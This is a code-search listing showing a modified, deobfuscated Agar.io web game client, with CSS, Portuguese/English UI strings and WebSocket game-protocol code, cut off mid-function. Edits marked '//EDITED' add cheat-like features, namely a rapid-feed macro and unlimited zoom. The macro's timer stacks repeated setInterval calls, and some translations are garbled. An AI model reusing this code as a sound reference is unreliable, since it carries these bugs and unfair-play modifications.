91 skills found · Page 3 of 4
Rogerio111 / Rogerio<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"> <meta name="keywords" content="agario, agar, io, cell, cells, virus, bacteria, blob, game, games, web game, html5, fun, flash"> <meta name="robots" content="index, follow"> <meta name="viewport" content="minimal-ui, width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta property="fb:app_id" content="677505792353827"/> <meta property="og:title" content="Agar.io"/> <meta property="og:description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"/> <meta property="og:url" content="http://agar.io"/> <meta property="og:image" content="http://agar.io/img/1200x630.png"/> <meta property="og:image:width" content="1200"/> <meta property="og:image:height" content="630"/> <meta property="og:type" content="website"/> <title>Agar.io</title> <link id="favicon" rel="icon" type="image/png" href="favicon-32x32.png"/> <!-- Área de anuncio --> <link href='https://fonts.googleapis.com/css?family=Ubuntu:700' rel='stylesheet' type='text/css'> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/glyphicons-social.css" rel="stylesheet"> <link href="css/animate.css" rel="stylesheet"> <style>body{padding:0;margin:0;overflow:hidden;}#canvas{position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:100%;}form{margin-bottom:0px;}.btn-play,.btn-settings,.btn-spectate,.btn-play-guest,.btn-login,.btn-logout{display:block;float:left;height:35px;}.btn-spectate,.btn-logout{height:35px;display:block;width:110px;margin-left:10px;margin-bottom:5px;}#helloContainer[data-logged-in="0"] .btn-play-guest{margin-left:5px;width:125px;}#helloContainer[data-logged-in="0"] .btn-login{margin-left:5px;width:145px;}#helloContainer[data-logged-in="0"] .agario-exp-bar,#helloContainer[data-logged-in="0"] .progress-bar-star,#helloContainer[data-logged-in="0"] #agario-main-buttons .agario-profile,#helloContainer[data-logged-in="0"] .btn-play{display:none;}#helloContainer[data-logged-in="0"] .btn-logout{display:none;}#helloContainer[data-logged-in="1"] .btn-play{margin-left:5px;width:275px;}#helloContainer[data-logged-in="1"] .btn-play-guest{display:none;}#helloContainer[data-logged-in="1"] .btn-login{display:none;}.btn-settings{width:40px;}.btn-spectate{display:block;float:right;}#adsBottom{position:absolute;left:0;right:0;bottom:0;}#adsBottomInner{margin:0px auto;width:728px;height:90px;border:5px solid white;border-radius:5px 5px 0px 0px;background-color:#FFFFFF;box-sizing:content-box;}.region-message{display:none;margin-bottom:12px;margin-left:6px;margin-right:6px;text-align:center;}#preview {width: 30px;height: 30px;border-radius: 400px;border: 3px solid #17c834;margin: 1px 0;float: left; position: absolute;left: 52.7%; top:42.5%;}#nicks {width: 10%;float: left; position: absolute; left: 46%; top: 42.5%;}#nick{width:10%;padding: 0px; left: 46%; top: -12px;position: relative;}#locationKnown #region{width:100%;}#locationUnknown #region{margin-bottom:15px;}#gamemode{width:10%;float:right;top: -42.5%;right: 44%;position: relative;}.agario-panel{display:inline-block;width:350px;background-color:rgba(25, 28, 29, 0.72);margin:2px;border-radius:10px;padding:5px 15px 5px 15px;vertical-align:top;}.agario-side-panel{display:inline-block;width:220px;}#helloContainer,.connecting-panel{position:absolute;top:50%;left:50%;margin-right:-50%;-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);}#a300x250{width:300px;height:250px;background-repeat:no-repeat;background-size:contain;background-position:center center;}.agario-exp-bar{height:30px;position:relative;border:2px solid #01612B;}.agario-exp-bar .progress-bar{background-color:#338833;border-radius:0px 4px 4px 0px;-webkit-transition:none;transition:none;}.agario-exp-bar .progress-bar-text{font-size:12pt;cursor:default;opacity:0.75;color:#FFF;text-align:center;line-height:26px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;position:absolute;top:0;bottom:0;left:0;right:0;font-family:'Ubuntu',sans-serif;}#agario-results-table{width:100%;}#agario-results-table th{text-align:center;font-size:8pt;}#agario-results-table td{text-align:center;color:#999;font-size:11pt;padding-bottom:15px;}.progress-bar-star{position:absolute;top:-13px;right:-16px;width:50px;height:50px;background-image:url("img/star.png");background-size:cover;-webkit-transform:rotate3d(0,0,1,10deg);transform:rotate3d(0,0,1,10deg);-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:0s;animation-delay:0s;-webkit-animation-iteration-count:1;animation-iteration-count:1;cursor:default;color:#FFF;text-align:center;line-height:55px;font-size:12pt;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;font-family:'Ubuntu',sans-serif;}.tooltip-inner{max-width:300px;}.agario-profile-panel{padding:15px 15px 15px 15px;}.agario-profile-panel .agario-profile-picture{float:left;display:block;width:64px;height:64px;border-radius:5px;border:2px solid #CCC;margin-right:6px;}.agario-profile-panel .agario-profile-name-container{float:left;display:table;width:120px;height:64px;position:relative;}.agario-profile-panel .agario-profile-name-container .agario-profile-name{display:table-cell;vertical-align:middle;text-align:center;font-weight:bold;}#helloContainer[data-has-account-data="0"] .agario-profile-panel{display:none;}.agario-party,.agario-party-0,.agario-party-1,.agario-party-2,.agario-party-3,.agario-party-4,.agario-party-5,.agario-party-6{display:none;}#helloContainer[data-gamemode=":party"] .agario-party{display:block;position:relative;}#helloContainer[data-gamemode=":party"] .agario-promo{display:none;}#helloContainer[data-party-state="0"] .agario-party-0{display:block;}#helloContainer[data-party-state="1"] .agario-party-1{display:block;}#helloContainer[data-party-state="2"] .agario-party-2{display:block;}#helloContainer[data-party-state="3"] .agario-party-3{display:block;}#helloContainer[data-party-state="4"] .agario-party-4{display:block;}#helloContainer[data-party-state="5"] .agario-party-5{display:block;}#helloContainer[data-party-state="6"] .agario-party-6{display:block;}.partyToken{margin-bottom:10px;}.side-container{vertical-align:top;display:inline-block;width:224px;}.cell-spinner{display:block;margin:0;}.creating-party-text{position:absolute;cursor:default;top:0;bottom:0;left:0;right:0;width:100%;height:100%;text-align:center;color:#FFF;font-size:24px;line-height:100px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;}.agario-results-0,.agario-results-1,.agario-results-2{display:none;}#helloContainer[data-results-state="0"] .agario-results-0{display:block;}#helloContainer[data-results-state="1"] .agario-results-1{display:block;}#helloContainer[data-results-state="2"] .agario-results-2{display:block;}#options>label{display:block;width:94px;float:left;}#stats{position:relative;width:350px;height:581px;padding:0px 0px 300px 0px;overflow:hidden;}#statsPelletsContainer,#statsTimeAliveContainer,#statsHighestMassContainer,#statsTimeLeaderboardContainer,#statsPlayerCellsEatenContainer,#statsTopPositionContainer{position:absolute;width:100px;height:100px;}#statsPelletsContainer{top:30px;left:50px;}#statsHighestMassContainer{top:30px;right:50px;}#statsTimeAliveContainer{top:85px;left:50px;}#statsTimeLeaderboardContainer{top:85px;right:50px;}#statsPlayerCellsEatenContainer{top:140px;left:50px;}#statsTopPositionContainer{top:140px;right:50px;}#statsPellets{position:absolute;top:0;left:0;bottom:0;right:0;margin:auto;}#statsText{position:absolute;top:0;bottom:0;left:0;right:0;line-height:100px;font-size:23px;}#statsSubtext{position:absolute;bottom:0;left:0;right:0;line-height:60px;font-size:12px;color:#000;text-align:center;}#statsChartText{position:absolute;left:20px;bottom:250px;line-height:40px;font-size:40px;}#statsChartText,#statsText{cursor:default;color:#444;text-align:center;font-weight:bold;}#statsContinue{position:absolute;left:25px;right:25px;width:300px;bottom:295px;}#statsGraph{position:absolute;bottom:350px;left:0px;right:0px;opacity:0.4;}#s300x250{position:absolute;bottom:10px;left:25px;right:25px;width:300px;height:250px;}.tosBox{z-index:1000;position:absolute;bottom:0;right:0;background-color:#FFF;border-radius:5px 0px 0px 0px;padding:5px 10px;}</style> <script src="js/jquery.js"></script> <script src="js/bootstrap.min.js"></script> <script> i18n_lang = 'en'; i18n_dict = { 'en': { 'connecting': 'Connecting', 'connect_help': 'If you cannot connect to the servers, check if you have some anti virus or firewall blocking the connection.', 'play': 'Jogar', 'spectate': 'Observar O Jogo', 'login_and_play': 'Logar No Facebook', 'play_as_guest': 'Play as guest', 'share': 'Share', 'advertisement': 'Advertisement', 'privacy_policy': 'Privacy Policy', 'terms_of_service': 'Terms of Service', 'changelog': 'Changelog', 'instructions_mouse': 'Move your mouse to control your cell', 'instructions_space': 'Pressiona <b>Space</b> Para Duplica', 'instructions_w': 'Pressiona <b>W</b> Para Da Massa', 'gamemode_ffa': 'FFA', 'gamemode_teams': 'Time', 'gamemode_experimental': 'Experimental', 'region_select': ' -- Select a Region -- ', 'region_us_east': 'US East', 'region_us_west': 'US West', 'region_north_america': 'North America', 'region_south_america': 'South America', 'region_europe': 'Europe', 'region_turkey': 'Turkey', 'region_poland': 'Poland', 'region_east_asia': 'East Asia', 'region_russia': 'Russia', 'region_china': 'China', 'region_oceania': 'Oceania', 'region_australia': 'Australia', 'region_players': 'players', 'option_no_skins': 'Remover skins', 'option_no_names': 'Sem Nome', 'option_dark_theme': 'Tema Escuro', 'option_no_colors': 'Sem Cores', 'option_show_mass': 'Most. Massa', 'leaderboard': 'Leaderboard', 'unnamed_cell': 'Célula sem nome !"', 'last_match_results': 'Last match results', 'score': 'Pontos', 'leaderboard_time': '', 'mass_eaten': 'Mass Eaten', 'top_position': 'Top Position', 'position_1': 'Primeiro', 'position_2': 'Segundo', 'position_3': 'Terceiro', 'position_4': 'Quarto', 'position_5': 'Quinto', 'position_6': 'Sexto', 'position_7': 'Setimo', 'position_8': 'Oitavo', 'position_9': 'Nono', 'position_10': 'Decimo', 'player_cells_eaten': 'Player Cells Eaten', 'survival_time': 'Survival Time', 'games_played': 'Games played', 'highest_mass': 'Massa Total', 'total_cells_eaten': 'Total cells eaten', 'total_mass_eaten': 'Total mass eaten', 'longest_survival': 'Longest survival', 'logout': 'Sair', 'stats': 'Stats', 'shop': 'Shop', 'party': 'Jogar Com Os Amigos', 'party_description': 'Play with your friends in the same map', 'create_party': 'Create', 'creating_party': 'Criando Ah partida...', 'join_party': 'Criar Partoda', 'back_button': 'Sair', 'joining_party': 'Connectando Na Sala ...', 'joined_party_instructions': 'You are now playing with this Sala:', 'party_join_error': 'There was a problem joining that party, please make sure the code is correct, or try creating another party', 'login_tooltip': 'Login with Facebook and get:<br\xA0/><br /><br />Jogar the game with more mass!<br />Level up to get even more starting mass!', 'create_party_instructions': 'Give this link to your friends:', 'join_party_instructions': 'Your friend should have given you a code, type it here:', 'continue': 'Continuar', 'option_skip_stats': 'Pular Estatísticas', 'stats_food_eaten': 'Alim. ingeridos', 'stats_highest_mass': 'highest mass', 'stats_time_alive': 'Tempo Vivo', 'stats_leaderboard_time': 'Tempo no Rank', 'stats_cells_eaten': 'Células Ingeridas', 'stats_top_position': 'Posição Rankeada?', '': '' }, '?': {} }; i18n_lang = (window.navigator.userLanguage || window.navigator.language || 'en').split('-')[0]; if (!i18n_dict.hasOwnProperty(i18n_lang)) { i18n_lang = 'en'; } i18n = i18n_dict[i18n_lang]; (function(window, $) { function Init() { g_drawLines = true; PlayerStats(); setInterval(PlayerStats, 180000); g_canvas = g_canvas_ = document.getElementById('canvas'); g_context = g_canvas.getContext('2d'); g_canvas.onmousedown = function(event) { if (g_touchCapable) { var deltaX = event.clientX - (5 + g_protocol / 5 / 2); var deltaY = event.clientY - (5 + g_protocol / 5 / 2); if (Math.sqrt(deltaX * deltaX + deltaY * deltaY) <= g_protocol / 5 / 2) { SendPos(); SendCmd(17); return; } } g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); SendPos(); }; g_canvas.onmousemove = function(event) { g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); }; g_canvas.onmouseup = function() {}; if (/firefox/i.test(navigator.userAgent)) { document.addEventListener('DOMMouseScroll', WheelHandler, false); } else { document.body.onmousewheel = WheelHandler; } var spaceDown = false; var cachedSkin = false; var wkeyDown = false; var keyEPressed = false; //EDITED window.onkeydown = function(event) { if (!(32 != event.keyCode || spaceDown)) { SendPos(); SendCmd(17); spaceDown = true; } if (!(81 != event.keyCode || cachedSkin)) { SendCmd(18); cachedSkin = true; } if (!(87 != event.keyCode || wkeyDown)) { SendPos(); SendCmd(21); wkeyDown = true; } if (69 == event.keyCode) { //EDITED if (!keyEPressed) { keyEPressed = true; timerE(); } } if (27 == event.keyCode) { __unmatched_10(300); } }; window.onkeyup = function(event) { if (32 == event.keyCode) { spaceDown = false; } if (87 == event.keyCode) { wkeyDown = false; } if (81 == event.keyCode && cachedSkin) { SendCmd(19); cachedSkin = false; } if (69 == event.keyCode) { //EDITED if (keyEPressed) { keyEPressed = false; } } }; window.onblur = function() { SendCmd(19); wkeyDown = cachedSkin = spaceDown = keyEPressed = false; //EDITED }; function timerE () { //EDITED if (keyEPressed) { SendPos(); SendCmd(21); setInterval(timerE, 200); } } window.onresize = ResizeHandler; window.requestAnimationFrame(__unmatched_130); setInterval(SendPos, 40); if (g_region) { $('#region').val(g_region); } SyncRegion(); SetRegion($('#region').val()); $.each(g_skinNamesA, function(v, node) { //EDITED $("#nicks").append($("<option></option>").attr("value", v).text(node)); }); if (0 == __unmatched_112 && g_region) { Start(); } __unmatched_10(0); ResizeHandler(); if (window.location.hash && 6 <= window.location.hash.length) { RenderLoop(window.location.hash); } } function WheelHandler(event) { g_zoom *= Math.pow(0.9, event.wheelDelta / -120 || event.detail || 0); if(!isUnlimitedZoom) { if (1 > g_zoom) { g_zoom = 1; } if (g_zoom > 4 / g_scale) { g_zoom = 4 / g_scale; } } } function UpdateTree() { if (0.4 > g_scale) { g_pointTree = null; } else { for (var minX = Number.POSITIVE_INFINITY, minY = Number.POSITIVE_INFINITY, maxX = Number.NEGATIVE_INFINITY, maxY = Number.NEGATIVE_INFINITY, maxSize = 0, i = 0; i < g_cells.length; i++) { var cell = g_cells[i]; if (!(!cell.N() || cell.R || 20 >= cell.size * g_scale)) { maxSize = Math.max(cell.size, maxSize); minX = Math.min(cell.x, minX); minY = Math.min(cell.y, minY); maxX = Math.max(cell.x, maxX); maxY = Math.max(cell.y, maxY); } } g_pointTree = QTreeFactory.la({ ca: minX - (maxSize + 100), da: minY - (maxSize + 100), oa: maxX + (maxSize + 100), pa: maxY + (maxSize + 100), ma: 2, na: 4 }); for (i = 0; i < g_cells.length; i++) { if (cell = g_cells[i], cell.N() && !(20 >= cell.size * g_scale)) { for (minX = 0; minX < cell.a.length; ++minX) { minY = cell.a[minX].x; maxX = cell.a[minX].y; if (!(minY < g_viewX - g_protocol / 2 / g_scale || maxX < g_viewY - __unmatched_60 / 2 / g_scale || minY > g_viewX + g_protocol / 2 / g_scale || maxX > g_viewY + __unmatched_60 / 2 / g_scale)) { g_pointTree.m(cell.a[minX]); } } } } } } function UpdatePos() { g_moveX = (g_mouseX - g_protocol / 2) / g_scale + g_viewX; g_moveY = (g_mouseY - __unmatched_60 / 2) / g_scale + g_viewY; } function PlayerStats() { if (null == g_regionLabels) { g_regionLabels = {}; $('#region').children().each(function() { var $this = $(this); var val = $this.val(); if (val) { g_regionLabels[val] = $this.text(); } }); } $.get('https://m.agar.io/info', function(data) { var regionNumPlayers = {}; var region; for (region in data.regions) { var region_ = region.split(':')[0]; regionNumPlayers[region_] = regionNumPlayers[region_] || 0; regionNumPlayers[region_] += data.regions[region].numPlayers; } for (region in regionNumPlayers) { $('#region option[value="' + region + '"]').text(g_regionLabels[region] + ' (' + regionNumPlayers[region] + ' players)'); } }, 'json'); } function HideOverlay() { $('#adsBottom').hide(); $('#overlays').hide(); $('#stats').hide(); $('#mainPanel').hide(); __unmatched_141 = g_playerCellDestroyed = false; SyncRegion(); if (window.googletag && window.googletag.pubads && window.googletag.pubads().clear) { window.googletag.pubads().clear(window.aa.concat(window.ab)); } } function SetRegion(val) { if (val && val != g_region) { if ($('#region').val() != val) { $('#region').val(val); } g_region = window.localStorage.location = val; $('.region-message').hide(); $('.region-message.' + val).show(); $('.btn-needs-server').prop('disabled', false); if (g_drawLines) { Start(); } } } function __unmatched_10(char) { if (!(g_playerCellDestroyed || __unmatched_141)) { $('#adsBottom').show(); g_nick = null; __unmatched_13(window.aa); if (1000 > char) { qkeyDown = 1; } g_playerCellDestroyed = true; $('#mainPanel').show(); if (0 < char) { $('#overlays').fadeIn(char); } else { $('#overlays').show(); } } } function Render(__unmatched_174) { $('#helloContainer').attr('data-gamemode', __unmatched_174); __unmatched_95 = __unmatched_174; $('#gamemode').val(__unmatched_174); } function SyncRegion() { if ($('#region').val()) { window.localStorage.location = $('#region').val(); } else if (window.localStorage.location) { $('#region').val(window.localStorage.location); } if ($('#region').val()) { $('#locationKnown').append($('#region')); } else { $('#locationUnknown').append($('#region')); } } function __unmatched_13(__unmatched_175) { if (window.googletag) { window.googletag.cmd.push(function() { if (g_canRefreshAds) { g_canRefreshAds = false; setTimeout(function() { g_canRefreshAds = true; }, 60000 * g_refreshAdsCooldown); if (window.googletag && window.googletag.pubads && window.googletag.pubads().refresh) { window.googletag.pubads().refresh(__unmatched_175); } } }); } } function __unmatched_14(i_) { return window.i18n[i_] || window.i18n_dict.en[i_] || i_; } function FindGame() { var __unmatched_177 = ++__unmatched_112; console.log('Find ' + g_region + __unmatched_95); $.ajax('https://m.agar.io/', { error: function() { setTimeout(FindGame, 1000); }, success: function(__unmatched_178) { __unmatched_178 = __unmatched_178.split('\n'); Connect('ws://' + __unmatched_178[0], __unmatched_178[1]); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: (g_region + __unmatched_95 || '?') + '\n154669603' }); } function Start() { if (g_drawLines && g_region) { $('#connecting').show(); FindGame(); } } function Connect(address, ticket) { if (points) { points.onopen = null; points.onmessage = null; points.onclose = null; try { points.close(); } catch (exception) {} points = null; } if (__unmatched_113.ip) { address = 'ws://' + __unmatched_113.ip; } if (null != __unmatched_121) { var __unmatched_181 = __unmatched_121; __unmatched_121 = function() { __unmatched_181(ticket); }; } if (g_secure) { var parts = address.split(':'); address = parts[0] + 's://ip-' + parts[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + (+parts[2] + 2000); } g_playerCellIds = []; g_playerCells = []; g_cellsById = {}; g_cells = []; g_destroyedCells = []; g_scoreEntries = []; g_leaderboardCanvas = g_scorePartitions = null; g_maxScore = 0; g_connectSuccessful = false; console.log('Connecting to ' + address); points = new WebSocket(address); points.binaryType = 'arraybuffer'; points.onopen = function() { var data; console.log('socket open'); data = GetBuffer(5); data.setUint8(0, 254); data.setUint32(1, 5, true); SendBuffer(data); data = GetBuffer(5); data.setUint8(0, 255); data.setUint32(1, 154669603, true); SendBuffer(data); data = GetBuffer(1 + ticket.length); data.setUint8(0, 80); for (var i = 0; i < ticket.length; ++i) { data.setUint8(i + 1, ticket.charCodeAt(i)); } SendBuffer(data); RefreshAds(); }; points.onmessage = MessageHandler; points.onclose = CloseHandler; points.onerror = function() { console.log('socket error'); }; } function GetBuffer(size) { return new DataView(new ArrayBuffer(size)); } function SendBuffer(data) { points.send(data.buffer); } function CloseHandler() { if (g_connectSuccessful) { g_retryTimeout = 500; } console.log('socket close'); setTimeout(Start, g_retryTimeout); g_retryTimeout *= 2; } function MessageHandler(data) { Receive(new DataView(data.data)); } function Receive(data) { function __unmatched_190() { for (var string = '';;) { var char = data.getUint16(pos, true); pos += 2; if (0 == char) { break; } string += String.fromCharCode(char); } return string; } var pos = 0; if (240 == data.getUint8(pos)) { pos += 5; } switch (data.getUint8(pos++)) { case 16: ParseCellUpdates(data, pos); break; case 17: g_viewX_ = data.getFloat32(pos, true); pos += 4; g_viewY_ = data.getFloat32(pos, true); pos += 4; g_scale_ = data.getFloat32(pos, true); pos += 4; break; case 20: g_playerCells = []; g_playerCellIds = []; break; case 21: g_linesY_ = data.getInt16(pos, true); pos += 2; g_linesX_ = data.getInt16(pos, true); pos += 2; if (!g_ready) { g_ready = true; g_linesX = g_linesY_; g_linesY = g_linesX_; } break; case 32: g_playerCellIds.push(data.getUint32(pos, true)); pos += 4; break; case 49: if (null != g_scorePartitions) { break; } var num = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries = []; for (var i = 0; i < num; ++i) { var id = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries.push({ id: id, name: __unmatched_190() }); } UpdateLeaderboard(); break; case 50: g_scorePartitions = []; num = data.getUint32(pos, true); pos += 4; for (i = 0; i < num; ++i) { g_scorePartitions.push(data.getFloat32(pos, true)); pos += 4; } UpdateLeaderboard(); break; case 64: g_minX = data.getFloat64(pos, true); pos += 8; g_minY = data.getFloat64(pos, true); pos += 8; g_maxX = data.getFloat64(pos, true); pos += 8; g_maxY = data.getFloat64(pos, true); pos += 8; g_viewX_ = (g_maxX + g_minX) / 2; g_viewY_ = (g_maxY + g_minY) / 2; g_scale_ = 1; if (0 == g_playerCells.length) { g_viewX = g_viewX_; g_viewY = g_viewY_; g_scale = g_scale_; } break; case 81: var x = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_196 = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_197 = data.getUint32(pos, true); var pos = pos + 4; setTimeout(function() { __unmatched_43({ e: x, f: __unmatched_196, d: __unmatched_197 }); }, 1200); } } function ParseCellUpdates(data, pos) { function __unmatched_202() { for (var string = '';;) { var id = data.getUint16(pos, true); pos += 2; if (0 == id) { break; } string += String.fromCharCode(id); } return string; } function __unmatched_203() { for (var __unmatched_218 = '';;) { var r = data.getUint8(pos++); if (0 == r) { break; } __unmatched_218 += String.fromCharCode(r); } return __unmatched_218; } __unmatched_107 = g_time = Date.now(); if (!g_connectSuccessful) { g_connectSuccessful = true; __unmatched_24(); } __unmatched_88 = false; var num = data.getUint16(pos, true); pos += 2; for (var i = 0; i < num; ++i) { var cellA = g_cellsById[data.getUint32(pos, true)]; var cellB = g_cellsById[data.getUint32(pos + 4, true)]; pos += 8; if (cellA && cellB) { cellB.X(); cellB.s = cellB.x; cellB.t = cellB.y; cellB.r = cellB.size; cellB.J = cellA.x; cellB.K = cellA.y; cellB.q = cellB.size; cellB.Q = g_time; __unmatched_49(cellA, cellB); } } for (i = 0;;) { num = data.getUint32(pos, true); pos += 4; if (0 == num) { break; } ++i; var size; var cellA = data.getInt32(pos, true); pos += 4; cellB = data.getInt32(pos, true); pos += 4; size = data.getInt16(pos, true); pos += 2; var flags = data.getUint8(pos++); var y = data.getUint8(pos++); var b = data.getUint8(pos++); var y = __unmatched_40(flags << 16 | y << 8 | b); var b = data.getUint8(pos++); var isVirus = !!(b & 1); var isAgitated = !!(b & 16); var __unmatched_214 = null; if (b & 2) { pos += 4 + data.getUint32(pos, true); } if (b & 4) { __unmatched_214 = __unmatched_203(); } var name = __unmatched_202(); var flags = null; if (g_cellsById.hasOwnProperty(num)) { flags = g_cellsById[num]; flags.P(); flags.s = flags.x; flags.t = flags.y; flags.r = flags.size; flags.color = y; } else { flags = new Cell(num, cellA, cellB, size, y, name); g_cells.push(flags); g_cellsById[num] = flags; flags.ta = cellA; flags.ua = cellB; } flags.h = isVirus; flags.n = isAgitated; flags.J = cellA; flags.K = cellB; flags.q = size; flags.Q = g_time; flags.ba = b; flags.fa = __unmatched_214; if (name) { flags.B(name); } if (-1 != g_playerCellIds.indexOf(num) && -1 == g_playerCells.indexOf(flags)) { g_playerCells.push(flags); if (1 == g_playerCells.length) { g_viewX = flags.x; g_viewY = flags.y; __unmatched_136(); document.getElementById('overlays').style.display = 'none'; cached = []; __unmatched_139 = 0; __unmatched_140 = g_playerCells[0].color; __unmatched_142 = true; __unmatched_143 = Date.now(); g_mode = __unmatched_146 = __unmatched_145 = 0; } } } cellA = data.getUint32(pos, true); pos += 4; for (i = 0; i < cellA; i++) { num = data.getUint32(pos, true); pos += 4; flags = g_cellsById[num]; if (null != flags) { flags.X(); } } if (__unmatched_88 && 0 == g_playerCells.length) { __unmatched_144 = Date.now(); __unmatched_142 = false; if (!(g_playerCellDestroyed || __unmatched_141)) { if (__unmatched_148) { __unmatched_13(window.ab); ShowOverlay(); __unmatched_141 = true; $('#overlays').fadeIn(3000); $('#stats').show(); } else { __unmatched_10(3000); } } } } function __unmatched_24() { $('#connecting').hide(); SendNick(); if (__unmatched_121) { __unmatched_121(); __unmatched_121 = null; } if (null != __unmatched_123) { clearTimeout(__unmatched_123); } __unmatched_123 = setTimeout(function() { if (window.ga) { ++__unmatched_124; window.ga('set', 'dimension2', __unmatched_124); } }, 10000); } function SendPos() { if (IsConnected()) { var deltaY = g_mouseX - g_protocol / 2; var delta = g_mouseY - __unmatched_60 / 2; if (!(64 > deltaY * deltaY + delta * delta || 0.01 > Math.abs(g_lastMoveY - g_moveX) && 0.01 > Math.abs(g_lastMoveX - g_moveY))) { g_lastMoveY = g_moveX; g_lastMoveX = g_moveY; deltaY = GetBuffer(21); deltaY.setUint8(0, 16); deltaY.setFloat64(1, g_moveX, true); deltaY.setFloat64(9, g_moveY, true); deltaY.setUint32(17, 0, true); SendBuffer(deltaY); } } } function SendNick() { if (IsConnected() && g_connectSuccessful && null != g_nick) { var data = GetBuffer(1 + 2 * g_nick.length); data.setUint8(0, 0); for (var i = 0; i < g_nick.length; ++i) { data.setUint16(1 + 2 * i, g_nick.charCodeAt(i), true); } SendBuffer(data); g_nick = null; } } function IsConnected() { return null != points && points.readyState == points.OPEN; } function SendCmd(cmd) { if (IsConnected()) { var data = GetBuffer(1); data.setUint8(0, cmd); SendBuffer(data); } } function RefreshAds() { if (IsConnected() && null != __unmatched_108) { var __unmatched_226 = GetBuffer(1 + __unmatched_108.length); __unmatched_226.setUint8(0, 81); for (var y = 0; y < __unmatched_108.length; ++y) { __unmatched_226.setUint8(y + 1, __unmatched_108.charCodeAt(y)); } SendBuffer(__unmatched_226); } } function ResizeHandler() { g_protocol = window.innerWidth; __unmatched_60 = window.innerHeight; g_canvas_.width = g_canvas.width = g_protocol; g_canvas_.height = g_canvas.height = __unmatched_60; var $dialog = $('#helloContainer'); $dialog.css('transform', 'none'); var dialogHeight = $dialog.height(); var height = window.innerHeight; if (dialogHeight > height / 1.1) { $dialog.css('transform', 'translate(-50%, -50%) scale(' + height / dialogHeight / 1.1 + ')'); } else { $dialog.css('transform', 'translate(-50%, -50%)'); } GetScore(); } function ScaleModifier() { var scale; scale = 1 * Math.max(__unmatched_60 / 1080, g_protocol / 1920); return scale *= g_zoom; } function __unmatched_32() { if (0 != g_playerCells.length) { for (var scale = 0, i = 0; i < g_playerCells.length; i++) { scale += g_playerCells[i].size; } scale = Math.pow(Math.min(64 / scale, 1), 0.4) * ScaleModifier(); g_scale = (9 * g_scale + scale) / 10; } } function GetScore() { var x; var time = Date.now(); ++__unmatched_75; g_time = time; if (0 < g_playerCells.length) { __unmatched_32(); for (var y = x = 0, i = 0; i < g_playerCells.length; i++) { g_playerCells[i].P(); x += g_playerCells[i].x / g_playerCells.length; y += g_playerCells[i].y / g_playerCells.length; } g_viewX_ = x; g_viewY_ = y; g_scale_ = g_scale; g_viewX = (g_viewX + x) / 2; g_viewY = (g_viewY + y) / 2; } else { g_viewX = (29 * g_viewX + g_viewX_) / 30; g_viewY = (29 * g_viewY + g_viewY_) / 30; g_scale = (9 * g_scale + g_scale_ * ScaleModifier()) / 10; } UpdateTree(); UpdatePos(); if (!g_showTrails) { g_context.clearRect(0, 0, g_protocol, __unmatched_60); } if (g_showTrails) { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.globalAlpha = 0.05; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } else { DrawGrid(); } g_cells.sort(function(A, B) { return A.size == B.size ? A.id - B.id : A.size - B.size; }); g_context.save(); g_context.translate(g_protocol / 2, __unmatched_60 / 2); g_context.scale(g_scale, g_scale); g_context.translate(-g_viewX, -g_viewY); drawBorders(); drawLogo(); myMass = Math.min.apply(null, g_playerCells.map(function(r) { return r.N(); })) for (i = 0; i < g_destroyedCells.length; i++) { g_destroyedCells[i].w(g_context); } for (i = 0; i < g_cells.length; i++) { g_cells[i].w(g_context); } if (g_ready) { g_linesX = (3 * g_linesX + g_linesY_) / 4; g_linesY = (3 * g_linesY + g_linesX_) / 4; g_context.save(); g_context.strokeStyle = '#FFAAAA'; g_context.lineWidth = 10; g_context.lineCap = 'round'; g_context.lineJoin = 'round'; g_context.globalAlpha = 0.5; g_context.beginPath(); for (i = 0; i < g_playerCells.length; i++) { g_context.moveTo(g_playerCells[i].x, g_playerCells[i].y); g_context.lineTo(g_linesX, g_linesY); } g_context.stroke(); g_context.restore(); } g_context.restore(); if (g_leaderboardCanvas && g_leaderboardCanvas.width) { g_context.drawImage(g_leaderboardCanvas, g_protocol - g_leaderboardCanvas.width - 10, 10); } g_maxScore = Math.max(g_maxScore, __unmatched_36()); if (0 != g_maxScore) { if (null == g_cachedScore) { g_cachedScore = new CachedCanvas(24, '#FFFFFF'); } g_cachedScore.C(__unmatched_14('score') + ': ' + ~~(g_maxScore / 100)); y = g_cachedScore.L(); x = y.width; g_context.globalAlpha = 0.2; g_context.fillStyle = '#000000'; g_context.fillRect(10, __unmatched_60 - 10 - 24 - 10, x + 10, 34); g_context.globalAlpha = 1; g_context.drawImage(y, 15, __unmatched_60 - 10 - 24 - 5); } DrawSplitImage(); time = Date.now() - time; if (time > 1000 / 60) { g_pointNumScale -= 0.01; } else if (time < 1000 / 65) { 